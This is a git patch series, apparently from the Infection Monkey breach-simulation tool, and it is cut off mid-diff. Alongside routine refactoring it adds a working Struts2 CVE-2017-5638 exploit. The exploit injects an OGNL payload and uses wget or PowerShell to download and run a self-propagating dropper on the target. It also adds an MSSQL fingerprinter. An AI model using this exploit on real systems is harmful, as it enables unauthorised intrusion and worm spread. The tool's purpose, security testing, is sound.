a/monkey/monkey_island/cc/services/island_logs.py b/monkey/monkey_island/cc/services/island_logs.py new file mode 100644 index 000000000..77b28bdd4 --- /dev/null +++ b/monkey/monkey_island/cc/services/island_logs.py @@ -0,0 +1,32 @@ +import logging +__author__ = "Maor.Rayzin" + +logger = logging.getLogger(__name__) + + +class IslandLogService: + def __init__(self): + pass + + @staticmethod + def get_log_file(): + """ + This static function is a helper function for the monkey island log download function. + It finds the logger handlers and checks if one of them is a fileHandler of any kind by checking if the handler + has the property handler.baseFilename. + :return: + a dict with the log file content. + """ + logger_handlers = logger.parent.handlers + for handler in logger_handlers: + if hasattr(handler, 'baseFilename'): + logger.info('Log file found: {0}'.format(handler.baseFilename)) + log_file_path = handler.baseFilename + with open(log_file_path, 'rt') as f: + log_file = f.read() + return { + 'log_file': log_file + } + + logger.warning('No log file could be found, check logger config.') + return None From 4017e189ab9fd86e34b92872c11722a8ea12d544 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 5 Aug 2018 14:21:37 +0300 Subject: [PATCH 10/19] Another stupid path fix --- monkey/monkey_island/deb-package/DEBIAN/postinst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/deb-package/DEBIAN/postinst b/monkey/monkey_island/deb-package/DEBIAN/postinst index b5523f0ed..22e8d95b7 100644 --- a/monkey/monkey_island/deb-package/DEBIAN/postinst +++ b/monkey/monkey_island/deb-package/DEBIAN/postinst @@ -1,7 +1,7 @@ #!/bin/bash MONKEY_FOLDER=/var/monkey -INSTALLATION_FOLDER=/var/monkey/installation +INSTALLATION_FOLDER=/var/monkey/monkey_island/installation PYTHON_FOLDER=/var/monkey/monkey_island/bin/python # Prepare python virtualenv From 25f0c085283bc2e989b6921997d8ca82a0740f80 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 5 Aug 2018 14:58:19 +0300 Subject: [PATCH 11/19] Fix python dep installation issues --- monkey/monkey_island/deb-package/DEBIAN/postinst | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/deb-package/DEBIAN/postinst b/monkey/monkey_island/deb-package/DEBIAN/postinst index 22e8d95b7..b55f791b8 100644 --- a/monkey/monkey_island/deb-package/DEBIAN/postinst +++ b/monkey/monkey_island/deb-package/DEBIAN/postinst @@ -5,11 +5,11 @@ INSTALLATION_FOLDER=/var/monkey/monkey_island/installation PYTHON_FOLDER=/var/monkey/monkey_island/bin/python # Prepare python virtualenv -pip2 download --exists-action i virtualenv -d $INSTALLATION_FOLDER +pip2 install virtualenv --no-index --find-links file://$INSTALLATION_FOLDER virtualenv -p python2.7 ${PYTHON_FOLDER} # install pip requirements -${PYTHON_FOLDER}/bin/python -m pip download --exists-action i -r $MONKEY_FOLDER/monkey_island/pip_requirements.txt -d $INSTALLATION_FOLDER +${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/monkey_island/pip_requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER # remove installation folder and unnecessary files rm -rf ${INSTALLATION_FOLDER} From 063ecd9313ced52bacf698df6c187df4c08aeaa6 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 6 Aug 2018 14:18:03 +0300 Subject: [PATCH 12/19] Add files dropped in merge --- monkey/infection_monkey/exploit/struts2.py | 247 ++++++++++++++++++ .../network/mssql_fingerprint.py | 74 ++++++ 2 files changed, 321 insertions(+) create mode 100644 monkey/infection_monkey/exploit/struts2.py create mode 100644 monkey/infection_monkey/network/mssql_fingerprint.py diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py new file mode 100644 index 000000000..0033c6ff7 --- /dev/null +++ b/monkey/infection_monkey/exploit/struts2.py @@ -0,0 +1,247 @@ +""" + Implementation is based on Struts2 jakarta multiparser RCE exploit ( CVE-2017-5638 ) + code used is from https://www.exploit-db.com/exploits/41570/ + Vulnerable struts2 versions <=2.3.31 and <=2.5.10 +""" +import urllib2 +import httplib +import unicodedata +import re + +import logging +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth +from infection_monkey.exploit.tools import build_monkey_commandline, HTTPTools +from infection_monkey.model import CHECK_LINUX, CHECK_WINDOWS, POWERSHELL_HTTP, WGET_HTTP, EXISTS, ID_STRING, \ + RDP_CMDLINE_HTTP, DROPPER_ARG + +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) + +DOWNLOAD_TIMEOUT = 300 + + +class Struts2Exploiter(HostExploiter): + _TARGET_OS_TYPE = ['linux', 'windows'] + + def __init__(self, host): + super(Struts2Exploiter, self).__init__(host) + self._config = __import__('config').WormConfiguration + self.skip_exist = self._config.skip_exploit_if_file_exist + self.HTTP = [str(port) for port in self._config.HTTP_PORTS] + + def exploit_host(self): + dropper_path_linux = self._config.dropper_target_path_linux + dropper_path_win_32 = self._config.dropper_target_path_win_32 + dropper_path_win_64 = self._config.dropper_target_path_win_64 + + ports = self.get_exploitable_ports(self.host, self.HTTP, ["http"]) + + if not ports: + LOG.info("All web ports are closed on %r, skipping", self.host) + return False + + for port in ports: + if port[1]: + current_host = "https://%s:%s" % (self.host.ip_addr, port[0]) + else: + current_host = "http://%s:%s" % (self.host.ip_addr, port[0]) + # Get full URL + url = self.get_redirected(current_host) + LOG.info("Trying to exploit with struts2") + # Check if host is vulnerable and get host os architecture + if 'linux' in self.host.os['type']: + return self.exploit_linux(url, dropper_path_linux) + else: + return self.exploit_windows(url, [dropper_path_win_32, dropper_path_win_64]) + + def check_remote_file(self, host, path): + command = EXISTS % path + resp = self.exploit(host, command) + if 'No such file' in resp: + return False + else: + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + def exploit_linux(self, url, dropper_path): + host_arch = Struts2Exploiter.check_exploit_linux(url) + if host_arch: + self.host.os['machine'] = host_arch + if url and host_arch: + LOG.info("Host is exploitable with struts2 RCE vulnerability") + # If monkey already exists and option not to exploit in that case is selected + if self.skip_exist and self.check_remote_file(url, dropper_path): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + cmdline = build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path) + + command = WGET_HTTP % {'monkey_path': dropper_path, + 'http_path': http_path, 'parameters': cmdline} + + self.exploit(url, command) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Struts2 exploit attempt finished") + + return True + + return False + + def exploit_windows(self, url, dropper_paths): + """ + :param url: Where to send malicious request + :param dropper_paths: [0]-monkey-windows-32.bat, [1]-monkey-windows-64.bat + :return: Bool. Successfully exploited or not + """ + host_arch = Struts2Exploiter.check_exploit_windows(url) + if host_arch: + self.host.os['machine'] = host_arch + if url and host_arch: + LOG.info("Host is exploitable with struts2 RCE vulnerability") + # If monkey already exists and option not to exploit in that case is selected + if self.skip_exist: + for dropper_path in dropper_paths: + if self.check_remote_file(url, re.sub(r"\\", r"\\\\", dropper_path)): + LOG.info("Host %s was already infected under the current configuration, done" % self.host) + return True + + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", self.host) + return False + # Select the dir and name for monkey on the host + if "windows-32" in src_path: + dropper_path = dropper_paths[0] + else: + dropper_path = dropper_paths[1] + # create server for http download. + http_path, http_thread = HTTPTools.create_transfer(self.host, src_path) + if not http_path: + LOG.debug("Exploiter Struts2 failed, http transfer creation failed.") + return False + LOG.info("Started http server on %s", http_path) + + # We need to double escape backslashes. Once for payload, twice for command + cmdline = re.sub(r"\\", r"\\\\", build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_path)) + + command = POWERSHELL_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + 'http_path': http_path, 'parameters': cmdline} + + backup_command = RDP_CMDLINE_HTTP % {'monkey_path': re.sub(r"\\", r"\\\\", dropper_path), + 'http_path': http_path, 'parameters': cmdline, 'type': DROPPER_ARG} + + resp = self.exploit(url, command) + + if 'powershell is not recognized' in resp: + self.exploit(url, backup_command) + + http_thread.join(DOWNLOAD_TIMEOUT) + http_thread.stop() + LOG.info("Struts2 exploit attempt finished") + + return True + + return False + + @staticmethod + def check_exploit_windows(url): + resp = Struts2Exploiter.exploit(url, CHECK_WINDOWS) + if resp and ID_STRING in resp: + if "64-bit" in resp: + return "64" + else: + return "32" + else: + return False + + @staticmethod + def check_exploit_linux(url): + resp = Struts2Exploiter.exploit(url, CHECK_LINUX) + if resp and ID_STRING in resp: + # Pulls architecture string + arch = re.search('(?<=Architecture:)\s+(\w+)', resp) + arch = arch.group(1) + return arch + else: + return False + + @staticmethod + def get_redirected(url): + # Returns false if url is not right + headers = {'User-Agent': 'Mozilla/5.0'} + request = urllib2.Request(url, headers=headers) + try: + return urllib2.urlopen(request).geturl() + except urllib2.URLError: + LOG.error("Can't reach struts2 server") + return False + + @staticmethod + def exploit(url, cmd): + """ + :param url: Full url to send request to + :param cmd: Code to try and execute on host + :return: response + """ + payload = "%%{(#_='multipart/form-data')." \ + "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." \ + "(#_memberAccess?" \ + "(#_memberAccess=#dm):" \ + "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." \ + "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." \ + "(#ognlUtil.getExcludedPackageNames().clear())." \ + "(#ognlUtil.getExcludedClasses().clear())." \ + "(#context.setMemberAccess(#dm))))." \ + "(#cmd='%s')." \ + "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." \ + "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." \ + "(#p=new java.lang.ProcessBuilder(#cmds))." \ + "(#p.redirectErrorStream(true)).(#process=#p.start())." \ + "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." \ + "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \ + "(#ros.flush())}" % cmd + # Turns payload ascii just for consistency + if isinstance(payload, unicode): + payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore') + headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload} + try: + request = urllib2.Request(url, headers=headers) + # Timeout added or else we would wait for all monkeys' output + page = urllib2.urlopen(request).read() + except AttributeError: + # If url does not exist + return False + except httplib.IncompleteRead as e: + page = e.partial + + return page + + @staticmethod + def get_exploitable_ports(host, port_list, names): + candidate_services = {} + for name in names: + chosen_services = { + service: host.services[service] for service in host.services if + ('name' in host.services[service]) and (host.services[service]['name'] == name) + } + candidate_services.update(chosen_services) + + valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if + 'tcp-' + str(port) in candidate_services] + + return valid_ports diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py new file mode 100644 index 000000000..bb5214c2f --- /dev/null +++ b/monkey/infection_monkey/network/mssql_fingerprint.py @@ -0,0 +1,74 @@ +import logging +import socket + +from infection_monkey.model.host import VictimHost +from infection_monkey.network import HostFinger + +__author__ = 'Maor Rayzin' + +LOG = logging.getLogger(__name__) + + +class MSSQLFinger(HostFinger): + + # Class related consts + SQL_BROWSER_DEFAULT_PORT = 1434 + BUFFER_SIZE = 4096 + TIMEOUT = 5 + SERVICE_NAME = 'MSSQL' + + def __init__(self): + self._config = __import__('config').WormConfiguration + + def get_host_fingerprint(self, host): + """Gets Microsoft SQL Server instance information by querying the SQL Browser service. + :arg: + host (VictimHost): The MS-SSQL Server to query for information. + + :returns: + Discovered server information written to the Host info struct. + True if success, False otherwise. + """ + + assert isinstance(host, VictimHost) + + # Create a UDP socket and sets a timeout + sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + sock.settimeout(self.TIMEOUT) + server_address = (str(host.ip_addr), self.SQL_BROWSER_DEFAULT_PORT) + + # The message is a CLNT_UCAST_EX packet to get all instances + # https://msdn.microsoft.com/en-us/library/cc219745.aspx + message = '\x03' + + # Encode the message as a bytesarray + message = message.encode() + + # send data and receive response + try: + LOG.info('Sending message to requested host: {0}, {1}'.format(host, message)) + sock.sendto(message, server_address) + data, server = sock.recvfrom(self.BUFFER_SIZE) + except socket.timeout: + LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) + sock.close() + return False + + host.services[self.SERVICE_NAME] = {} + + # Loop through the server data + instances_list = data[3:].decode().split(';;') + LOG.info('{0} MSSQL instances found'.format(len(instances_list))) + for instance in instances_list: + instance_info = instance.split(';') + if len(instance_info) > 1: + host.services[self.SERVICE_NAME][instance_info[1]] = {} + for i in range(1, len(instance_info), 2): + # Each instance's info is nested under its own name, if there are multiple instances + # each will appear under its own name + host.services[self.SERVICE_NAME][instance_info[1]][instance_info[i - 1]] = instance_info[i] + + # Close the socket + sock.close() + + return True From 83d41df875fa4689a5200a7d7db1730463baf6a9 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 6 Aug 2018 14:30:38 +0300 Subject: [PATCH 13/19] Fix another merge fail --- monkey/infection_monkey/config.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index d2918f0bb..79912dcdd 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -7,9 +7,9 @@ from abc import ABCMeta from itertools import product from infection_monkey.exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter + SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, ShellShockExploiter from infection_monkey.network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, \ - ElasticFinger + ElasticFinger, MSSQLFinger __author__ = 'itamar' From be08027221fd63dbc5069c6bbdb5060762ff50a5 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 27 Aug 2018 10:58:43 -0400 Subject: [PATCH 14/19] Fix relative imports --- monkey/infection_monkey/exploit/tools.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools.py b/monkey/infection_monkey/exploit/tools.py index 31586417c..466834bcc 100644 --- a/monkey/infection_monkey/exploit/tools.py +++ b/monkey/infection_monkey/exploit/tools.py @@ -416,7 +416,7 @@ def get_interface_to_target(dst): def get_target_monkey(host): - from control import ControlClient + from infection_monkey.control import ControlClient import platform import sys @@ -442,7 +442,7 @@ def get_target_monkey(host): def get_target_monkey_by_os(is_windows, is_32bit): - from control import ControlClient + from infection_monkey.control import ControlClient return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit) From b23418782c0727732fd06b7c46a03730d29840cd Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 26 Aug 2018 15:15:31 -0400 Subject: [PATCH 15/19] Move configuration to be a exploit object field rather than every exploit importing it. --- monkey/infection_monkey/exploit/__init__.py | 5 +++-- monkey/infection_monkey/exploit/elasticgroovy.py | 2 -- monkey/infection_monkey/exploit/rdpgrinder.py | 3 --- monkey/infection_monkey/exploit/sambacry.py | 2 -- monkey/infection_monkey/exploit/shellshock.py | 2 -- monkey/infection_monkey/exploit/smbexec.py | 3 --- monkey/infection_monkey/exploit/sshexec.py | 2 -- monkey/infection_monkey/exploit/struts2.py | 1 - monkey/infection_monkey/exploit/win_ms08_067.py | 3 --- monkey/infection_monkey/exploit/wmiexec.py | 3 --- 10 files changed, 3 insertions(+), 23 deletions(-) diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index e039bbb7a..1b59d112f 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -1,4 +1,5 @@ from abc import ABCMeta, abstractmethod +import infection_monkey.config __author__ = 'itamar' @@ -9,7 +10,7 @@ class HostExploiter(object): _TARGET_OS_TYPE = [] def __init__(self, host): - + self._config = infection_monkey.config.WormConfiguration self._exploit_info = {} self._exploit_attempts = [] self.host = host @@ -18,7 +19,7 @@ class HostExploiter(object): return self.host.os.get('type') in self._TARGET_OS_TYPE def send_exploit_telemetry(self, result): - from control import ControlClient + from infection_monkey.control import ControlClient ControlClient.send_telemetry( 'exploit', {'result': result, 'machine': self.host.__dict__, 'exploiter': self.__class__.__name__, diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 4dbd20e7b..c69e0112b 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -9,7 +9,6 @@ import logging import requests -import infection_monkey.config from infection_monkey.exploit import HostExploiter from infection_monkey.model import DROPPER_ARG from infection_monkey.network.elasticfinger import ES_SERVICE, ES_PORT @@ -39,7 +38,6 @@ class ElasticGroovyExploiter(HostExploiter): def __init__(self, host): super(ElasticGroovyExploiter, self).__init__(host) - self._config = infection_monkey.config.WormConfiguration self.skip_exist = self._config.skip_exploit_if_file_exist def is_os_supported(self): diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index 6b0110e47..3873a8ce3 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -9,7 +9,6 @@ from rdpy.core.error import RDPSecurityNegoFail from rdpy.protocol.rdp import rdp from twisted.internet import reactor -import infection_monkey.config from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth from infection_monkey.exploit.tools import get_target_monkey @@ -238,8 +237,6 @@ class RdpExploiter(HostExploiter): def __init__(self, host): super(RdpExploiter, self).__init__(host) - self._config = infection_monkey.config.WormConfiguration - self._guid = infection_monkey.config.GUID def is_os_supported(self): if super(RdpExploiter, self).is_os_supported(): diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index d9d683bdd..e14b6aa93 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -15,7 +15,6 @@ from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_ SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE from impacket.smbconnection import SMBConnection -import infection_monkey.config import infection_monkey.monkeyfs as monkeyfs from infection_monkey.exploit import HostExploiter from infection_monkey.model import DROPPER_ARG @@ -53,7 +52,6 @@ class SambaCryExploiter(HostExploiter): def __init__(self, host): super(SambaCryExploiter, self).__init__(host) - self._config = infection_monkey.config.WormConfiguration def exploit_host(self): if not self.is_vulnerable(): diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index 9e42d9b17..dd80af22c 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -6,7 +6,6 @@ from random import choice import requests -import infection_monkey.config from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth from infection_monkey.model import DROPPER_ARG @@ -30,7 +29,6 @@ class ShellShockExploiter(HostExploiter): def __init__(self, host): super(ShellShockExploiter, self).__init__(host) - self._config = infection_monkey.config.WormConfiguration self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.success_flag = ''.join( choice(string.ascii_uppercase + string.digits diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 7e6b68b20..7528e08ba 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -3,7 +3,6 @@ from logging import getLogger from impacket.dcerpc.v5 import transport, scmr from impacket.smbconnection import SMB_DIALECT -import infection_monkey.config from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS @@ -24,8 +23,6 @@ class SmbExploiter(HostExploiter): def __init__(self, host): super(SmbExploiter, self).__init__(host) - self._config = infection_monkey.config.WormConfiguration - self._guid = infection_monkey.config.GUID def is_os_supported(self): if super(SmbExploiter, self).is_os_supported(): diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 4d0187822..82dd1f4d7 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -5,7 +5,6 @@ import paramiko import StringIO import infection_monkey.monkeyfs as monkeyfs -import infection_monkey.config from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth from infection_monkey.model import MONKEY_ARG @@ -24,7 +23,6 @@ class SSHExploiter(HostExploiter): def __init__(self, host): super(SSHExploiter, self).__init__(host) - self._config = infection_monkey.config.WormConfiguration self._update_timestamp = 0 self.skip_exist = self._config.skip_exploit_if_file_exist diff --git a/monkey/infection_monkey/exploit/struts2.py b/monkey/infection_monkey/exploit/struts2.py index 0033c6ff7..843bc23d5 100644 --- a/monkey/infection_monkey/exploit/struts2.py +++ b/monkey/infection_monkey/exploit/struts2.py @@ -27,7 +27,6 @@ class Struts2Exploiter(HostExploiter): def __init__(self, host): super(Struts2Exploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration self.skip_exist = self._config.skip_exploit_if_file_exist self.HTTP = [str(port) for port in self._config.HTTP_PORTS] diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index b25289543..9f8837157 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -14,7 +14,6 @@ from enum import IntEnum from impacket import uuid from impacket.dcerpc.v5 import transport -import infection_monkey.config from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from infection_monkey.network import SMBFinger @@ -159,8 +158,6 @@ class Ms08_067_Exploiter(HostExploiter): def __init__(self, host): super(Ms08_067_Exploiter, self).__init__(host) - self._config = infection_monkey.config.WormConfiguration - self._guid = infection_monkey.config.GUID def is_os_supported(self): if self.host.os.get('type') in self._TARGET_OS_TYPE and \ diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index 26cae60c3..1a8cb3386 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -5,7 +5,6 @@ import traceback from impacket.dcerpc.v5.rpcrt import DCERPCException -import infection_monkey.config from infection_monkey.exploit import HostExploiter from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \ get_monkey_depth, build_monkey_commandline @@ -19,8 +18,6 @@ class WmiExploiter(HostExploiter): def __init__(self, host): super(WmiExploiter, self).__init__(host) - self._config = infection_monkey.config.WormConfiguration - self._guid = infection_monkey.config.GUID @WmiTools.dcom_wrap def exploit_host(self): From cad9aca5ddef9b7c4a41e27c957dbec21dd9b1e9 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Mon, 27 Aug 2018 11:06:58 -0400 Subject: [PATCH 16/19] Fix one more old style import --- monkey/infection_monkey/network/mssql_fingerprint.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/mssql_fingerprint.py b/monkey/infection_monkey/network/mssql_fingerprint.py index bb5214c2f..6a0f6ad2e 100644 --- a/monkey/infection_monkey/network/mssql_fingerprint.py +++ b/monkey/infection_monkey/network/mssql_fingerprint.py @@ -3,6 +3,7 @@ import socket from infection_monkey.model.host import VictimHost from infection_monkey.network import HostFinger +import infection_monkey.config __author__ = 'Maor Rayzin' @@ -18,7 +19,7 @@ class MSSQLFinger(HostFinger): SERVICE_NAME = 'MSSQL' def __init__(self): - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration def get_host_fingerprint(self, host): """Gets Microsoft SQL Server instance information by querying the SQL Browser service. From 3ce81ee78a49e5d67245eed76cff4449f10f13e6 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Sun, 26 Aug 2018 15:14:04 -0400 Subject: [PATCH 17/19] Rewrote config parsing. Avoid the horrible cast by example function and avoid possible circular import issues. --- monkey/infection_monkey/config.py | 96 +++++++++++++----------------- monkey/infection_monkey/control.py | 2 +- monkey/infection_monkey/main.py | 2 +- 3 files changed, 44 insertions(+), 56 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 79912dcdd..0d8acd678 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -1,15 +1,13 @@ import os -import struct +import json import sys import types import uuid from abc import ABCMeta from itertools import product +import importlib -from infection_monkey.exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter, Struts2Exploiter, ShellShockExploiter -from infection_monkey.network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, \ - ElasticFinger, MSSQLFinger +importlib.import_module('infection_monkey', 'network') __author__ = 'itamar' @@ -18,57 +16,50 @@ GUID = str(uuid.getnode()) EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin') -def _cast_by_example(value, example): - """ - a method that casts a value to the type of the parameter given as example - """ - example_type = type(example) - if example_type is str: - return os.path.expandvars(value).encode("utf8") - elif example_type is tuple and len(example) != 0: - if value is None or value == tuple([None]): - return tuple() - return tuple([_cast_by_example(x, example[0]) for x in value]) - elif example_type is list and len(example) != 0: - if value is None or value == [None]: - return [] - return [_cast_by_example(x, example[0]) for x in value] - elif example_type is type(value): - return value - elif example_type is bool: - return value.lower() == 'true' - elif example_type is int: - return int(value) - elif example_type is float: - return float(value) - elif example_type in (type, ABCMeta): - return globals()[value] - else: - return None - - class Configuration(object): - def from_dict(self, data): - """ - Get a dict of config variables, set known variables as attributes on self. - Return dict of unknown variables encountered. - """ - unknown_variables = {} - for key, value in data.items(): + + def from_kv(self, formatted_data): + # now we won't work at <2.7 for sure + network_import = importlib.import_module('infection_monkey.network') + exploit_import = importlib.import_module('infection_monkey.exploit') + + unknown_items = [] + for key, value in formatted_data.items(): if key.startswith('_'): continue if key in ["name", "id", "current_server"]: continue if self._depth_from_commandline and key == "depth": continue - try: - default_value = getattr(Configuration, key) - except AttributeError: - unknown_variables[key] = value - continue + if 'class' in key: + # handle in cases + if key == 'finger_classes': + class_objects = [getattr(network_import, val) for val in value] + setattr(self, key, class_objects) + elif key == 'scanner_class': + scanner_object = getattr(network_import, value) + setattr(self, key, scanner_object) + elif key == 'exploiter_classes': + class_objects = [getattr(exploit_import, val) for val in value] + setattr(self, key, class_objects) + else: + unknown_items.append(key) + else: + if hasattr(self, key): + setattr(self, key, value) + else: + unknown_items.append(key) + return unknown_items - setattr(self, key, _cast_by_example(value, default_value)) - return unknown_variables + def from_json(self, json_data): + """ + Gets a json data object, parses it and applies it to the configuration + :param json_data: + :return: + """ + formatted_data = json.loads(json_data) + result = self.from_kv(formatted_data) + return result def as_dict(self): result = {} @@ -145,12 +136,9 @@ class Configuration(object): # how many scan iterations to perform on each run max_iterations = 1 - scanner_class = TcpScanner - finger_classes = [SMBFinger, SSHFinger, PingScanner, HTTPFinger, MySQLFinger, ElasticFinger, MSSQLFinger] - exploiter_classes = [SmbExploiter, WmiExploiter, # Windows exploits - SSHExploiter, ShellShockExploiter, SambaCryExploiter, # Linux - ElasticGroovyExploiter, Struts2Exploiter # multi - ] + scanner_class = None + finger_classes = [] + exploiter_classes = [] # how many victims to look for in a single scan iteration victims_max_find = 30 diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 4f3df0b60..7322322e7 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -160,7 +160,7 @@ class ControlClient(object): return try: - unknown_variables = WormConfiguration.from_dict(reply.json().get('config')) + unknown_variables = WormConfiguration.from_kv(reply.json().get('config')) LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),)) except Exception as exc: # we don't continue with default conf here because it might be dangerous diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 98be6895f..be45afce4 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -60,7 +60,7 @@ def main(): try: with open(config_file) as config_fo: json_dict = json.load(config_fo) - WormConfiguration.from_dict(json_dict) + WormConfiguration.from_kv(json_dict) except ValueError as e: print("Error loading config: %s, using default" % (e,)) else: From 83b1933296d8171b1d4266835cff1d4c79421c0b Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 29 Aug 2018 10:20:02 -0400 Subject: [PATCH 18/19] Remove subcasing for classes --- monkey/infection_monkey/config.py | 23 ++++++++++------------- 1 file changed, 10 insertions(+), 13 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 0d8acd678..06445b9da 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -31,19 